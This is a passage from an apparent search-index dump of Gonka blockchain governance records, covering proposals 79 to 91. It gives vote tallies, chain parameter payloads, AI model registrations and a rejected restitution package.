\"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.13-devshard-v1/devshardd.zip\",\n \"sha256\": \"dad6f1b97843816c0a33874b89ac403e48b54fe3aa1a0fdccb228d89d2a5594c\"\n },\n {\n \"name\": \"v2\",\n \"binary\": \"https://github.com/gonka-ai/gonka/releases/download/release%2Fdevshard%2Fv2.0.0/devshardd.zip\",\n \"sha256\": \"1a3b58bd0ac20dbb8baa68b1bf6c80516ca3c0f4d39e06160d07613ec1b1340b\"\n }\n ],\n \"max_nonce\": 1000000,\n \"devshard_requests_enabled\": true,\n \"default_inference_seal_grace_nonces\": 0,\n \"default_inference_seal_grace_seconds\": 0,\n \"create_devshard_fee\": \"0\",\n \"fee_per_nonce\": \"0\",\n \"refusal_timeout\": \"0\",\n \"execution_timeout\": \"0\",\n \"validation_rate\": 0,\n \"vote_threshold_factor\": 0,\n \"default_auto_seal_every_n_nonces\": 0\n },\n \"fee_params\": {\n \"min_gas_price_ngonka\": \"0\",\n \"base_validation_gas\": \"500000\",\n \"gas_per_poc_count\": \"100\"\n },\n \"delegation_params\": {\n \"deploy_window\": \"500\",\n \"refusal_penalty\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"no_participation_penalty\": {\n \"value\": \"15\",\n \"exponent\": -2\n },\n \"delegation_share\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"w_threshold\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"v_min\": \"3\",\n \"cap_factor\": {\n \"value\": \"75\",\n \"exponent\": -2\n },\n \"initial_model_id\": \"MiniMaxAI/MiniMax-M2.7\",\n \"max_model_voting_power_percentage\": {\n \"value\": \"3\",\n \"exponent\": -1\n }\n },\n \"maintenance_params\": null\n }\n },\n {\n \"@type\": \"/inference.inference.MsgDeleteGovernanceModel\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"id\": \"Qwen/Qwen3-235B-A22B-Instruct-2507-FP8\"\n },\n {\n \"@type\": \"/inference.inference.MsgDeleteGovernanceModel\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"id\": \"moonshotai/Kimi-K2.6\"\n }\n]\nPassed
Proposal ID: 79
Type: Register Model, Update Params
Submit: 2026-06-26 02:18 UTC
Voting: 2026-06-26 02:18 UTC → 2026-06-26 14:18 UTC
Expedited: Yes
Proposer: gonka1y2a9p56kv044327uycmqdexl7zs82fs5ryv5le
View on gonka.gg
Add Kimi K2.6 and GLM 5.2 model
"}, {"location": "proposals/proposals/2026-q2/79/#final-tally", "title": "Final Tally", "text": "Yes 330,364 (100.0%) No 0 (0.0%) Veto 0 (0.0%) Abstain 0 (0.0%) Total 330,364 votes"}, {"location": "proposals/proposals/2026-q2/79/#messages", "title": "Messages", "text": "# Type 1/inference.inference.MsgUpdateParams 2 /inference.inference.MsgRegisterModel 3 /inference.inference.MsgRegisterModel Contract Details [\n {\n \"@type\": \"/inference.inference.MsgUpdateParams\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"params\": {\n \"epoch_params\": {\n \"epoch_length\": \"15391\",\n \"epoch_multiplier\": \"1\",\n \"epoch_shift\": \"16980\",\n \"default_unit_of_compute_price\": \"100\",\n \"poc_stage_duration\": \"35\",\n \"poc_exchange_duration\": \"0\",\n \"poc_validation_delay\": \"5\",\n \"poc_validation_duration\": \"240\",\n \"set_new_validators_delay\": \"120\",\n \"inference_validation_cutoff\": \"2\",\n \"inference_pruning_epoch_threshold\": \"2\",\n \"inference_pruning_max\": \"5000\",\n \"poc_pruning_max\": \"1000\",\n \"poc_slot_allocation\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"confirmation_poc_safety_window\": \"500\"\n },\n \"validation_params\": {\n \"false_positive_rate\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"min_ramp_up_measurements\": 10,\n \"pass_value\": {\n \"value\": \"99\",\n \"exponent\": -2\n },\n \"min_validation_average\": {\n \"value\": \"1\",\n \"exponent\": -2\n },\n \"max_validation_average\": {\n \"value\": \"1\",\n \"exponent\": 0\n },\n \"expiration_blocks\": \"150\",\n \"epochs_to_max\": \"30\",\n \"full_validation_traffic_cutoff\": \"10000\",\n \"min_validation_halfway\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"min_validation_traffic_cutoff\": \"100\",\n \"miss_percentage_cutoff\": {\n \"value\": \"1\",\n \"exponent\": -2\n },\n \"miss_requests_penalty\": {\n \"value\": \"1\",\n \"exponent\": 0\n },\n \"timestamp_expiration\": \"300\",\n \"timestamp_advance\": \"30\",\n \"estimated_limits_per_block_kb\": \"0\",\n \"invalid_reputation_preserve\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"bad_participant_invalidation_rate\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"invalidation_h_threshold\": {\n \"value\": \"4\",\n \"exponent\": 0\n },\n \"downtime_good_percentage\": {\n \"value\": \"98\",\n \"exponent\": -2\n },\n \"downtime_bad_percentage\": {\n \"value\": \"99\",\n \"exponent\": -2\n },\n \"downtime_h_threshold\": {\n \"value\": \"1\",\n \"exponent\": 2\n },\n \"downtime_reputation_preserve\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"quick_failure_threshold\": {\n \"value\": \"1\",\n \"exponent\": -6\n },\n \"binom_test_p0\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"claim_validation_enabled\": false,\n \"logprobs_mode\": \"processed_logprobs\"\n },\n \"poc_params\": {\n \"default_difficulty\": 5,\n \"validation_sample_size\": 200,\n \"poc_data_pruning_epoch_threshold\": \"1\",\n \"weight_scale_factor\": null,\n \"model_params\": null,\n \"model_id\": \"\",\n \"seq_len\": \"0\",\n \"poc_v2_enabled\": true,\n \"confirmation_poc_v2_enabled\": true,\n \"stat_test\": null,\n \"validation_slots\": 0,\n \"poc_normalization_enabled\": true,\n \"poc_stronger_rng_enabled\": false,\n \"models\": [\n {\n \"model_id\": \"MiniMaxAI/MiniMax-M2.7\",\n \"seq_len\": \"1024\",\n \"stat_test\": {\n \"dist_threshold\": {\n \"value\": \"75\",\n \"exponent\": -2\n },\n \"p_mismatch\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"p_value_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n }\n },\n \"weight_scale_factor\": {\n \"value\": \"3024\",\n \"exponent\": -4\n },\n \"penalty_start_epoch\": \"278\"\n },\n {\n \"model_id\": \"moonshotai/Kimi-K2.6\",\n \"seq_len\": \"1024\",\n \"stat_test\": {\n \"dist_threshold\": {\n \"value\": \"4\",\n \"exponent\": -1\n },\n \"p_mismatch\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"p_value_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n }\n },\n \"weight_scale_factor\": {\n \"value\": \"90\",\n \"exponent\": -2\n },\n \"penalty_start_epoch\": \"310\"\n },\n {\n \"model_id\": \"zai-org/GLM-5.2-FP8\",\n \"seq_len\": \"1024\",\n \"stat_test\": {\n \"dist_threshold\": {\n \"value\": \"45\",\n \"exponent\": -2\n },\n \"p_mismatch\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"p_value_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n }\n },\n \"weight_scale_factor\": {\n \"value\": \"247\",\n \"exponent\": -2\n },\n \"penalty_start_epoch\": \"500\"\n }\n ],\n \"validation_vote_threshold_bps\": 0\n },\n \"tokenomics_params\": {\n \"subsidy_reduction_interval\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"subsidy_reduction_amount\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"current_subsidy_percentage\": {\n \"value\": \"9\",\n \"exponent\": -1\n },\n \"work_vesting_period\": \"180\",\n \"reward_vesting_period\": \"180\"\n },\n \"collateral_params\": {\n \"slash_fraction_invalid\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"slash_fraction_downtime\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"downtime_missed_percentage_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"grace_period_end_epoch\": \"180\",\n \"base_weight_ratio\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"collateral_per_weight_unit\": {\n \"value\": \"42\",\n \"exponent\": -1\n }\n },\n \"bitcoin_reward_params\": {\n \"use_bitcoin_rewards\": true,\n \"initial_epoch_reward\": \"323000000000000\",\n \"decay_rate\": {\n \"value\": \"-475\",\n \"exponent\": -6\n },\n \"genesis_epoch\": \"1\",\n \"utilization_bonus_factor\": {\n \"value\": \"5\",\n \"exponent\": -1\n },\n \"full_coverage_bonus_factor\": {\n \"value\": \"12\",\n \"exponent\": -1\n },\n \"partial_coverage_bonus_factor\": {\n \"value\": \"1\",\n \"exponent\": -1\n }\n },\n \"dynamic_pricing_params\": {\n \"stability_zone_lower_bound\": {\n \"value\": \"4\",\n \"exponent\": -1\n },\n \"stability_zone_upper_bound\": {\n \"value\": \"6\",\n \"exponent\": -1\n },\n \"price_elasticity\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"utilization_window_duration\": \"60\",\n \"min_per_token_price\": \"1\",\n \"base_per_token_price\": \"100\",\n \"grace_period_end_epoch\": \"90\",\n \"grace_period_per_token_price\": \"100\"\n },\n \"bandwidth_limits_params\": {\n \"estimated_limits_per_block_kb\": \"53760\",\n \"kb_per_input_token\": {\n \"value\": \"23\",\n \"exponent\": -4\n },\n \"kb_per_output_token\": {\n \"value\": \"64\",\n \"exponent\": -2\n },\n \"invalidations_limit\": \"500\",\n \"invalidations_sample_period\": \"120\",\n \"invalidations_limit_curve\": \"250\",\n \"minimum_concurrent_invalidations\": 1,\n \"max_inferences_per_block\": \"1000\"\n },\n \"confirmation_poc_params\": {\n \"expected_confirmations_per_epoch\": \"4\",\n \"alpha_threshold\": {\n \"value\": \"5\",\n \"exponent\": -1\n },\n \"slash_fraction\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"upgrade_protection_window\": \"500\"\n },\n \"genesis_guardian_params\": {\n \"network_maturity_threshold\": \"15000000\",\n \"network_maturity_min_height\": \"3000000\",\n \"guardian_addresses\": [\n \"gonkavaloper1y2a9p56kv044327uycmqdexl7zs82fs5lyang5\",\n \"gonkavaloper1dkl4mah5erqggvhqkpc8j3qs5tyuetgdc59d0v\",\n \"gonkavaloper1kx9mca3xm8u8ypzfuhmxey66u0ufxhs70mtf0e\"\n ]\n },\n \"developer_access_params\": {\n \"until_block_height\": \"2459367\",\n \"allowed_developer_addresses\": [\n \"gonka10fynmy2npvdvew0vj2288gz8ljfvmjs35lat8n\",\n \"gonka1v8gk5z7gcv72447yfcd2y8g78qk05yc4f3nk4w\",\n \"gonka1gndhek2h2y5849wf6tmw6gnw9qn4vysgljed0u\",\n \"gonka1z66ec2zedwpapp6jrj9raxgl93e5ec9z5my52h\",\n \"gonka1jw6xg0wun3g8m2fjm8lula82dw5p6jl8yp28mn\",\n \"gonka15sjedpgseutpnrjx2ge3mgau3s8ft5qzym9waa\",\n \"gonka1l4a2wtls9rgd2mnnj6mheml5xlq3kknngj4p7h\",\n \"gonka1f3yg5385n3f9pdw2g3dcjcnfqyej67hcu9vfet\",\n \"gonka15g5pu70k7l6hvdt8xl80h4mxe332762csupaeg\",\n \"gonka1uyqp5z3dveamfw4pmw7p7rfvwdvgzewnqrzhsu\",\n \"gonka18lluv53n4h9z34qu20vxcvypgdkhsg6nn2cl2d\",\n \"gonka1x7zh2277spp7jfqjhv0g5mnezg290xdr4kpfnk\",\n \"gonka1ddswmmmn38esxegjf6qw36mt4aqyw6etvysy5x\",\n \"gonka1kx9mca3xm8u8ypzfuhmxey66u0ufxhs7nm6wc5\",\n \"gonka1dkl4mah5erqggvhqkpc8j3qs5tyuetgdy552cp\",\n \"gonka1y2a9p56kv044327uycmqdexl7zs82fs5ryv5le\",\n \"gonka1p0uanq0aay6n3l4gtnshg63cy6vx3zgvkyc5lc\",\n \"gonka1khca2ht3m0nvpfghrxwgvnmj74t0sx6qzc2edd\"\n ]\n },\n \"participant_access_params\": {\n \"new_participant_registration_start_height\": \"2475000\",\n \"blocked_participant_addresses\": [\n \"gonka1blockedxxxxxxxxxxxxxxxxxxxxxx\"\n ],\n \"use_participant_allowlist\": true,\n \"participant_allowlist_until_block_height\": \"2475000\"\n },\n \"transfer_agent_access_params\": {\n \"allowed_transfer_addresses\": [\n \"gonka1y2a9p56kv044327uycmqdexl7zs82fs5ryv5le\",\n \"gonka1dkl4mah5erqggvhqkpc8j3qs5tyuetgdy552cp\",\n \"gonka1kx9mca3xm8u8ypzfuhmxey66u0ufxhs7nm6wc5\",\n \"gonka1ddswmmmn38esxegjf6qw36mt4aqyw6etvysy5x\",\n \"gonka10fynmy2npvdvew0vj2288gz8ljfvmjs35lat8n\",\n \"gonka1v8gk5z7gcv72447yfcd2y8g78qk05yc4f3nk4w\",\n \"gonka1gndhek2h2y5849wf6tmw6gnw9qn4vysgljed0u\"\n ]\n },\n \"devshard_escrow_params\": {\n \"min_amount\": \"50000000\",\n \"max_amount\": \"100000000000\",\n \"max_escrows_per_epoch\": 500000,\n \"group_size\": 16,\n \"allowed_creator_addresses\": [\n \"gonka10fynmy2npvdvew0vj2288gz8ljfvmjs35lat8n\",\n \"gonka1uyqp5z3dveamfw4pmw7p7rfvwdvgzewnqrzhsu\",\n \"gonka1sy7ug80wrnm6gk47creak0j5eagjpf7maqcqwk\",\n \"gonka1w66aw6jayepglwgz66qtunetr5nyw9ls7evq5g\",\n \"gonka1v8gk5z7gcv72447yfcd2y8g78qk05yc4f3nk4w\",\n \"gonka1gndhek2h2y5849wf6tmw6gnw9qn4vysgljed0u\",\n \"gonka1z66ec2zedwpapp6jrj9raxgl93e5ec9z5my52h\",\n \"gonka1jw6xg0wun3g8m2fjm8lula82dw5p6jl8yp28mn\",\n \"gonka15sjedpgseutpnrjx2ge3mgau3s8ft5qzym9waa\",\n \"gonka1l4a2wtls9rgd2mnnj6mheml5xlq3kknngj4p7h\",\n \"gonka1f3yg5385n3f9pdw2g3dcjcnfqyej67hcu9vfet\",\n \"gonka15g5pu70k7l6hvdt8xl80h4mxe332762csupaeg\",\n \"gonka1p0uanq0aay6n3l4gtnshg63cy6vx3zgvkyc5lc\",\n \"gonka1r2s0rwgskp6y4ed7qr7d25qdwjwlvpp6demv90\",\n \"gonka1ls8wqecwj369du8s2t9a223xu9sgvmzlw2ye9c\",\n \"gonka10wmset95nhgfjt4wklsyjqpx55m40zy3gha2pn\",\n \"gonka17ld2g62230w0erzexefzw03sw0adtuchr425rp\"\n ],\n \"token_price\": \"10\",\n \"approved_versions\": [\n {\n \"name\": \"v1\",\n \"binary\": \"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.13-devshard-v1/devshardd.zip\",\n \"sha256\": \"dad6f1b97843816c0a33874b89ac403e48b54fe3aa1a0fdccb228d89d2a5594c\"\n },\n {\n \"name\": \"v2\",\n \"binary\": \"https://github.com/gonka-ai/gonka/releases/download/release%2Fdevshard%2Fv2.0.0/devshardd.zip\",\n \"sha256\": \"1a3b58bd0ac20dbb8baa68b1bf6c80516ca3c0f4d39e06160d07613ec1b1340b\"\n }\n ],\n \"max_nonce\": 1000000,\n \"devshard_requests_enabled\": true,\n \"default_inference_seal_grace_nonces\": 0,\n \"default_inference_seal_grace_seconds\": 0,\n \"create_devshard_fee\": \"0\",\n \"fee_per_nonce\": \"0\",\n \"refusal_timeout\": \"0\",\n \"execution_timeout\": \"0\",\n \"validation_rate\": 0,\n \"vote_threshold_factor\": 0,\n \"default_auto_seal_every_n_nonces\": 0\n },\n \"fee_params\": {\n \"min_gas_price_ngonka\": \"0\",\n \"base_validation_gas\": \"500000\",\n \"gas_per_poc_count\": \"100\"\n },\n \"delegation_params\": {\n \"deploy_window\": \"500\",\n \"refusal_penalty\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"no_participation_penalty\": {\n \"value\": \"15\",\n \"exponent\": -2\n },\n \"delegation_share\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"w_threshold\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"v_min\": \"3\",\n \"cap_factor\": {\n \"value\": \"75\",\n \"exponent\": -2\n },\n \"initial_model_id\": \"MiniMaxAI/MiniMax-M2.7\",\n \"max_model_voting_power_percentage\": {\n \"value\": \"3\",\n \"exponent\": -1\n }\n },\n \"maintenance_params\": null\n }\n },\n {\n \"@type\": \"/inference.inference.MsgRegisterModel\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"proposed_by\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"id\": \"moonshotai/Kimi-K2.6\",\n \"units_of_compute_per_token\": \"10000\",\n \"hf_repo\": \"moonshotai/Kimi-K2.6\",\n \"hf_commit\": \"5a49d036ab7472b7d5912ded487150ec1358c11d\",\n \"model_args\": [\n \"--enable-auto-tool-choice\",\n \"--max-model-len\",\n \"240000\",\n \"--tool-call-parser\",\n \"kimi_k2\",\n \"--reasoning-parser\",\n \"kimi_k2\"\n ],\n \"v_ram\": \"720\",\n \"throughput_per_nonce\": \"1500\",\n \"validation_threshold\": {\n \"value\": \"900\",\n \"exponent\": -3\n }\n },\n {\n \"@type\": \"/inference.inference.MsgRegisterModel\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"proposed_by\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"id\": \"zai-org/GLM-5.2-FP8\",\n \"units_of_compute_per_token\": \"10000\",\n \"hf_repo\": \"zai-org/GLM-5.2-FP8\",\n \"hf_commit\": \"70311cfa0158cce7dd2cf5d2e04f68e3fdc3efc1\",\n \"model_args\": [\n \"--reasoning-parser\",\n \"glm45\",\n \"--enable-auto-tool-choice\",\n \"--tool-call-parser\",\n \"glm47\",\n \"--max-model-len\",\n \"400000\"\n ],\n \"v_ram\": \"1120\",\n \"throughput_per_nonce\": \"700\",\n \"validation_threshold\": {\n \"value\": \"750\",\n \"exponent\": -3\n }\n }\n]\nPassed Rejected Voting With Funding
2026-Q312 proposals
#91 – Temporarily update BLS signing parameters Passed Submitted 2026-07-23 Voting ends 2026-07-24 Set max_signing_attempts to 1 and signing_deadline_blocks to 60 epoch lengths (923460 blocks) to mitigate a theoretical risk identified in a security report. Historically, retries have never been need… Yes 243,165 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) ✓ Turnout 243,165 / 569,511 (42.7%) · Quorum 25% (142,377) #90 – Partnerships with Inference Resellers, B2C users acquisition and conversion funnels analytics setup Rejected Submitted 2026-07-21 Voting ends 2026-07-23 Currently Gonka has a lot of marketing activities, but doesn't have analytics to measure the results of their work and doesn't have a vision which target audiences and how we need to attract and onboa… Yes 190,646 (57.3%) · No 6,269 (1.9%) · Veto 133,354 (40.1%) · Abstain 2,324 (0.7%)240,000 GNK · $57,000 · Community Pool ✓ Turnout 332,593 / 569,511 (58.4%) · Quorum 25% (142,377) #89 – Upgrade Proposal: v0.2.14 Passed Submitted 2026-07-21 Voting ends 2026-07-23 Upgrade Proposal: v0.2.14 Yes 296,240 (100.0%) · No 0 (0.0%) · Veto 115 (0.0%) · Abstain 0 (0.0%) ✓ Turnout 296,355 / 545,426 (54.3%) · Quorum 25% (136,356) #88 – Restore Kimi K2.6 and remove v1, v2 Passed Submitted 2026-07-16 Voting ends 2026-07-17 Update current chain params to register moonshotai/Kimi-K2.6 in the governance model list and remove approved_versions v1, v2 from devshard_escrow_params (to reduce RAM usage). Yes 272,063 (99.8%) · No 543 (0.2%) · Veto 0 (0.0%) · Abstain 0 (0.0%) ✓ Turnout 272,606 / 563,910 (48.3%) · Quorum 25% (140,977) #87 – Remove Kimi K2.6 model Passed Submitted 2026-07-16 Voting ends 2026-07-16 Remove moonshotai/Kimi-K2.6 from PoC params and delete it from the governance model list. Yes 151,714 (100.0%) · No 8 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) ✓ Turnout 151,722 / 344,693 (44.0%) · Quorum 25% (86,173) #86 – Increase Kimi-K2.6 and GLM-5.2 weight_scale_factor by 5% Passed Submitted 2026-07-14 Voting ends 2026-07-16 Increase the weight_scale_factor for moonshotai/Kimi-K2.6 from 0.90 to 0.945 (+5%) and for zai-org/GLM-5.2-FP8 from 2.47 to 2.5935 (+5%). All other model and chain parameters remain unchanged. Yes 299,231 (98.5%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 4,445 (1.5%) ✓ Turnout 303,676 / 564,299 (53.8%) · Quorum 25% (141,074) #85 – Internal Go-To-Market Team for 3 Month Rejected Submitted 2026-07-10 Voting ends 2026-07-12 We will run hundreds of experiments across different target audience hypotheses and set up the basis: acquisition funnels, analytics, sharable target audience deep understanding. Our key performance m… Yes 41,668 (73.5%) · No 8 (0.0%) · Veto 14,932 (26.4%) · Abstain 45 (0.1%)600,000 GNK · $36,000 · Community Pool ✗ Turnout 56,653 / 741,825 (7.6%) · Quorum 25% (185,456) #84 – Bringing $3M+ in New Capital to GONKA via Uniswap — Phase 1/6 ($50k USDT) Rejected Submitted 2026-07-09 Voting ends 2026-07-11 My name is Andrey Orlovsky, and through this proposal I represent our team and an initiative to attract at least $3 million in new long-term capital to GONKA through Uniswap. Below is a condensed ver… Yes 1,221 (0.4%) · No 2,404 (0.8%) · Veto 290,022 (98.8%) · Abstain 3 (0.0%)20,000 GNK · $50,000 · Community Pool ✓ Turnout 293,650 / 741,825 (39.6%) · Quorum 25% (185,456) #83 – Approve devshard v3 Passed Submitted 2026-07-09 Voting ends 2026-07-11 Update current chain params by adding v3 to devshard_escrow_params.approved_versions. Yes 395,370 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) ✓ Turnout 395,370 / 741,825 (53.3%) · Quorum 25% (185,456) #82 – External Test Lab x Community DevNet Passed Submitted 2026-07-08 Voting ends 2026-07-10 4-month pilot of the External Test Lab & Community DevNet: a community-owned testing layer for Gonka. Full proposal and discussion: https://github.com/gonka-ai/gonka/discussions/1388 The budget is he… Yes 368,084 (98.2%) · No 468 (0.1%) · Veto 94 (0.0%) · Abstain 6,141 (1.6%)80,000 GNK · $88,000 · Community Pool ✓ Turnout 374,787 / 741,825 (50.5%) · Quorum 25% (185,456) #81 – Kimi cPoC Restitution (epochs 306-309) Rejected Submitted 2026-07-08 Voting ends 2026-07-10 Distribute restitution for Kimi operators affected by cPoC validation failure in epochs 306-309. The Kimi validation path failed starting in e306 causing confirmation_weight suppression for Kimi opera… Yes 235,728 (56.2%) · No 609 (0.1%) · Veto 183,094 (43.7%) · Abstain 18 (0.0%)175,082 GNK · Gov Module ✓ Turnout 419,449 / 741,825 (56.5%) · Quorum 25% (185,456) #80 – GRC Proposal #3 - Restitution Rejected Submitted 2026-07-05 Voting ends 2026-07-07 Restitution payout for confirmed GRC Proposal #3 cases, with Case 05 payments from proposal_id=67 deducted where the same address and epoch were already compensated, and positive victim outputs below … Yes 16,378 (10.4%) · No 94,721 (60.4%) · Veto 39,454 (25.1%) · Abstain 6,344 (4.0%)47,850 GNK · Community Pool · 70,184 GNK · Gov Module ✗ Turnout 156,897 / 741,825 (21.2%) · Quorum 25% (185,456)← Back to all proposals
"}, {"location": "proposals/proposals/2026-q3/#2026-q3-summary", "title": "2026-Q3 Summary", "text": "12Total Proposals 7Passed (58%) 5Rejected (42%) Governance Parameters5 Funding / Grants5 Software Upgrade1 GRC / Restitution1 80,000 GNK · $88,000 · Community Pool"}, {"location": "proposals/proposals/2026-q3/80/", "title": "#80 – GRC Proposal #3 - Restitution", "text": "Rejected
Proposal ID: 80
Type: Batch Transfer With Vesting, Community Pool Spend
Submit: 2026-07-05 19:40 UTC
Voting: 2026-07-05 19:40 UTC → 2026-07-07 19:40 UTC
Proposer: gonka100s7x2t0npruu9ta02306qfmaened3vg3a9dn6
Metadata: https://github.com/huxuxuya/GRC-3-result
Failed reason: proposal did not get enough votes to pass
47,850 GNK · Community Pool · 70,184 GNK · Gov ModuleView on gonka.gg
Restitution payout for confirmed GRC Proposal #3 cases, with Case 05 payments from proposal_id=67 deducted where the same address and epoch were already compensated, and positive victim outputs below the chain minimum raised to 10 GNK.
"}, {"location": "proposals/proposals/2026-q3/80/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →"}, {"location": "proposals/proposals/2026-q3/80/#grc-proposal-3-restitution", "title": "GRC Proposal #3 - Restitution", "text": "This proposal closes the confirmed GRC3 restitution package, separating committee-confirmed damage into victim restitution and committee work/bounty payments.
"}, {"location": "proposals/proposals/2026-q3/80/#executive-summary", "title": "Executive Summary", "text": "GRC Proposal #3 closes the confirmed GRC3 restitution package and separates two different payment classes:
Payment class Amount Chain representation Committee-confirmed damage before overlap deductions 99773.810455897 GNK Settlement basis, before already-paid P4 deductions Victim restitution after exact P4 overlap deductions 70154.024668251 GNK Settlement basis before chain minimum handling Chain minimum top-up for positive victim outputs below 10 GNK 30.808440219 GNK Added so every positive victim output satisfies the chain transfer minimum Victim chain transfer total 70184.833108470 GNK OneMsgBatchTransferWithVesting message Committee review, investigation, validation, and coordination work 47850.000000000 GNK Five MsgCommunityPoolSpend messages Total proposal spend 118034.833108470 GNK proposal.json The committee/work amount is not an additional victim-damage claim. It is a fixed work and bounty package for case investigation, independent validation, additional review, reconciliation, and proposal coordination.
"}, {"location": "proposals/proposals/2026-q3/80/#final-victim-settlement", "title": "Final Victim Settlement", "text": "The victim settlement uses exact same-address, same-epoch P4 overlap deductions:
final_payout = max(planned_amount - p4_paid_overlap, 0)\nRows where P4 already paid more than the planned amount are floored at zero. Seven positive victim outputs below the chain transfer minimum of 10 GNK are raised to exactly 10 GNK in the chain payload.
"}, {"location": "proposals/proposals/2026-q3/80/#grc-case-review", "title": "GRC Case Review", "text": "Case Decision Final victim payout Case 01: High miss rate / devshard issue Included. Seven rows retained, including the manual-review row. 35109.923355683 GNK Case 02: Settle-drop / negative balance Included after independent review. Broader rule questions deferred to next GRC task cycle. 1075.336150923 GNK Case 03: Failed cPoC / preserved Kimi shortfall Included for epoch 267; epoch 265 extension zeroed by exact P4 overlap. 10262.057515369 GNK Case 04: UpgradeProtectionWindow / cPoC misfire Included with exact P4 overlap deductions applied row by row. 23706.707646276 GNK Case 05: Kimi restitution aggregate, epochs 265-276 Rejected as aggregate compensation. Used only as overlap evidence and bounty-eligible investigation work. GRC acknowledges open questions for deeper review. 0.000000000 GNK"}, {"location": "proposals/proposals/2026-q3/80/#committee-work-package", "title": "Committee Work Package", "text": "The role package compensates completed work across investigation, validation, additional checks, attack review, and coordination.
Metric Value Non-zero role lines 12 Total role/work payout 47850.000000000 GNK Distinct payout addresses 5 Case Investigation / Calculation Validation / Review Coordination Case 01 @Operator investigated high miss-rate / devshard issue @mich validated @Operator coordinated Case 02 @max investigated settle-drop / negative balance @den validated @Operator coordinated Case 03 @mich investigated failed cPoC / Kimi shortfall @den validated @Operator coordinated Case 04 @max investigated UpgradeProtectionWindow / cPoC misfire @Operator validated @Operator coordinated Case 05 @votkon investigated Kimi restitution aggregate @max + @mich paid review @Operator coordinated"}, {"location": "proposals/proposals/2026-q3/80/#chain-payload", "title": "Chain Payload", "text": "The governance payload contains: - One victim vesting batch with 40 positive recipients (7 raised to 10 GNK minimum) - Five committee/work MsgCommunityPoolSpend messages - Deposit, metadata, title, and summary from role config
The verification script checks: - CSV totals against settlement.json - Row-level overlap math with exact 9-decimal ngonka arithmetic - Case totals for Case 01 through Case 04 - Role/work total and final proposal total - Generated proposal artifacts match deterministic rebuild output
"}, {"location": "proposals/proposals/2026-q3/80/#source", "title": "Source", "text": "Full audit trail, payout breakdown, and chain-ready JSON: - GitHub: https://github.com/huxuxuya/GRC-3-result - Dashboard: https://huxuxuya.github.io/GRC-3-result/
"}, {"location": "proposals/proposals/2026-q3/80/#final-tally", "title": "Final Tally", "text": "Yes 16,378 (10.4%) No 94,721 (60.4%) Veto 39,454 (25.1%) Abstain 6,344 (4.0%) Total 156,897 votes ✗ Turnout 156,897 / 741,825 (21.2%) · Quorum 25% (185,456)"}, {"location": "proposals/proposals/2026-q3/80/#messages", "title": "Messages", "text": "# Type 1/inference.streamvesting.MsgBatchTransferWithVesting 2 /cosmos.distribution.v1beta1.MsgCommunityPoolSpend 3 /cosmos.distribution.v1beta1.MsgCommunityPoolSpend 4 /cosmos.distribution.v1beta1.MsgCommunityPoolSpend 5 /cosmos.distribution.v1beta1.MsgCommunityPoolSpend 6 /cosmos.distribution.v1beta1.MsgCommunityPoolSpend Contract Details [\n {\n \"@type\": \"/inference.streamvesting.MsgBatchTransferWithVesting\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"outputs\": [\n {\n \"recipient\": \"gonka10079cnl3nuh2k82mhkm04dj0slhtw9kmjewwau\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"5890493167171\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1007dchuqgdnute4qam70kmn56j2vfw38mhyrqv\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"7287485958471\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1007g0ut3u4wjkay9hegqfev4pj90qgexwskmcw\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"7238152949000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka105ce4495mj0mwkxqeasgdzqfq5jjrfq32eza5l\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n 